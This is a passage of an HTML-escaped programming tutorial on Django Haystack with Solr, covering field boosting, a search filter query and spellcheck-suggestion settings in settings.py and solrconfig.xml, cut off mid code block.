app/search_indexes.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; indexes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... otros dcampos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, boost&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1.5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;This increment is only valid when filtering by the field to which the &lt;em&gt;boost&lt;/em&gt; is applied.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(SQ(content&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query&amp;gt;&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; SQ(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query&amp;gt;&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;solr-search-suggestions&#34;&gt;Solr search suggestions&lt;/h2&gt;&#xA;&lt;p&gt;To enable this feature we need to set this option in the &lt;em&gt;HAYSTACK_CONNECTIONS&lt;/em&gt; variable in the Django configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_CONNECTIONS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack.backends.solr_backend.SolrEngine&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;URL&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://127.0.0.1:8983/solr/&amp;lt;nombre_del_núcleo&amp;gt;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;INCLUDE_SPELLING&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;search_index-configuration&#34;&gt;Search_index configuration&lt;/h3&gt;&#xA;&lt;p&gt;First we need to create a suggestion field, which will take its information from the default text field.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    suggestions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FacetCharField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;prepare&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prepared_data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;prepare(obj)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prepared_data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;suggestions&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; prepared_data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; prepared_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition, we need to modify our configuration file &lt;em&gt;solrconfig.xml&lt;/em&gt; and add the following settings&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;searchComponent&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.SpellCheckComponent&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;queryAnalyzerFieldType&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;text_general&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellchecker&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;default&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;field&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;text&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;classname&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;solr.DirectSolrSpellChecker&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;distanceMeasure&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;internal&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;float&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;accuracy&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;0.5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/float&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxEdits&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;minPrefix&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxInspections&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;minQueryLength&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;4&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;float&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxQueryFrequency&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;0.01&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/float&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/searchComponent&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And replace the &lt;em&gt;SearchHandler&lt;/em&gt; in the same file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;requestHandler&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/select&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.SearchHandler&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;defaults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;echoParams&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;explicit&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rows&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.dictionary&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;default&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;on&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.extendedResults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.count&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.alternativeTermCount&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxResultsForSuggest&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.collate&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.collateExtendedResults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;true&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxCollationTries&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;10&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck.maxCollations&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;arr&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;last-components&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&amp;gt;&lt;/span&gt;spellcheck&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/arr&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/requestHandler&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the configuration is correct, we will be able to obtain suggestions for our searches as follows.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span 